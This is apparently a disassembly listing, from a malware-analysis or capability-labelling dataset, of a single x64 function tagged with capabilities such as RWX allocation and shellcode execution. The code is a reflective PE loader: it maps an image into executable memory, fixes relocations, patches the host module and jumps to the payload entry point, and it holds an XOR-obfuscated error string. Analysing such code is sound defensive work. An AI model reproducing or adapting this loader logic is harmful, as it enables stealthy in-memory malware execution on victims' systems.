Function at 0x140047f20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
mov r14, r8
mov esi, edx
mov rdi, rcx
mov byte [0x1406b5598], 1
mov rax, qword [r8]
test rax, rax
je 0x140047f66
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x140047f66
movsxd rcx, dword [rax + 0x3c]
cmp rcx, 0x400
jle 0x14004821f
xor r15d, r15d
mov edx, dword [r15 + 0x50]
mov rcx, qword [r15 + 0x30]
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140047f90
mov rbx, rax
xor r12d, r12d
jmp 0x140047fbb
mov edx, dword [r15 + 0x50]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140048236
mov rbx, rax
mov r12, rax
sub r12, qword [r15 + 0x30]
mov r8d, dword [r15 + 0x50]
mov rcx, rbx
xor edx, edx
call fcn.14033b770
mov qword [r15 + 0x30], rbx
mov rdx, qword [r14]
mov r8d, dword [r15 + 0x54]
mov rcx, rbx
call fcn.14033b0d0
cmp word [r15 + 6], 0
je 0x140048028
lea r13, [r15 + 0x108]
add r13, 0x14
xor ebp, ebp
nop word cs:[rax + rax]
mov edx, dword [r13]
add rdx, qword [r14]
mov ecx, dword [r13 - 8]
mov r8d, dword [r13 - 4]
add rcx, rbx
call fcn.14033b0d0
inc rbp
movzx eax, word [r15 + 6]
add r13, 0x28
cmp rbp, rax
jb 0x140048000
test r12, r12
je 0x1400480f5
mov r8, qword [r14]
test r8, r8
je 0x1400480f5
movzx eax, word [r8]
cmp eax, 0x5a4d
jne 0x1400480f5
movsxd rax, dword [r8 + 0x3c]
cmp rax, 0x400
jg 0x1400480f5
cmp dword [r8 + rax], 0x4550
jne 0x1400480f5
add r8, rax
cmp dword [r8 + 0xb0], 0
je 0x1400480f5
add r8, 0xb0
lea rcx, [rsp + 0x30]
mov rdx, rbx
call fcn.140047e20
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
cmp rcx, rax
je 0x1400480be
nop word [rax + rax]
movzx edx, word [rcx]
and edx, 0xfff
add edx, dword [rcx + 4]
add qword [rbx + rdx], r12
add rcx, 0x10
cmp rcx, rax
jne 0x1400480a0
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400480f5
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400480f0
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x1400484bc
add rdx, 0x27
mov rcx, rax
call fcn.14016e0d8
mov rcx, rbx
call fcn.140048700
movsxd rax, dword [rbx + 0x3c]
lea rdx, [rbx + rax]
add rdx, 0xa0
xor ecx, ecx
cmp dword [rbx + rax + 0xa0], 0
cmove rdx, rcx
mov ecx, dword [rdx]
mov eax, dword [rdx + 4]
mov edx, 0xaaaaaaab
imul rdx, rax
shr rdx, 0x23
dec edx
add rcx, rbx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov r13d, dword [r15 + 0x28]
add r13, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
lea r14, [rax + 0xa00]
mov dword [rsp + 0x30], 0
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r12, [rsp + 0x30]
mov edx, 4
mov rcx, r14
mov r8d, 0x40
mov r9, r12
call rbp
mov edx, 0x30
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [r15 + 0xa00], rax
mov rcx, qword [0x1406b53b0]
mov qword [rax + 8], rcx
mov rax, qword [str.8pm_d1KbJZDob0qqp5L1X8YP5X3XwEVbYA0sYp7jDnhHHWGrgISi]
mov rcx, qword [r15 + 0xa00]
mov qword [rcx], rax
mov rax, qword [r15 + 0xa00]
mov qword [rax + 0x10], rbx
mov r8, qword [rdi]
mov rcx, qword [r15 + 0xa00]
add rcx, 0x18
mov edx, reloc.WS2_32.dll_recv
call fcn.14035c668
mov rax, qword [r15 + 0xa00]
mov dword [rax + 0x28], esi
mov r8d, dword [rsp + 0x30]
mov edx, 4
mov rcx, r14
mov r9, r12
call rbp
xor ecx, ecx
xor edx, edx
call r13
nop
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rax + rcx]
xor r15d, r15d
cmp dword [rax + rcx], 0x4550
cmove r15, rdx
jmp 0x140047f69
movabs rax, 0x48c0f564ad30e472
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb0], rax
movabs rax, 0x93ca4747c2cddacd
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb8], rax
movabs rcx, 0x719bd516c2429637
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], rax
movabs rdx, 0x93ca4747c2cdda90
mov qword [rsp + 0x70], rdx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov r8, qword [rsp + 0x70]
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [r8]
movaps xmmword [rsp + 0xb0], xmm0
movabs r8, 0x3fea178ab62f876
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x70], r8
movabs r8, 0xfcb83522e2a1bbfe
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x78], r8
movabs r8, 0xf9a7837394d30f03
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x80], r8
movabs r8, 0x44bd6a55c5b6effe
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x88], r8
movabs r8, 0x9a2707b9c37acf7e
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x90], r8
movabs r8, 0x47beed7e0a82e240
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x98], r8
movabs r8, 0xaef5766a705a6d84
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0xa0], r8
movabs r8, 0x8876c37d43bbb87e
mov qword [rsp + 0x30], r8
mov r9, qword [rsp + 0x30]
mov qword [rsp + 0xa8], r9
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x38], rcx
movabs rcx, 0x9cd5f610f7bc2f71
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x40], rcx
movabs rcx, 0x37dc0f39b596c39a
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x48], rcx
movabs rcx, 0xe84673caa608ef1b
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x50], rcx
movabs rcx, 0x28d2cd1b62f6c234
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x58], rcx
movabs rcx, 0xaef57644023f09e5
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x28], r8
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x70], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x80], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x90], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0xa0], xmm3
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xb0]
xor ecx, ecx
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call fcn.14034c314
call fcn.14034f98c
int3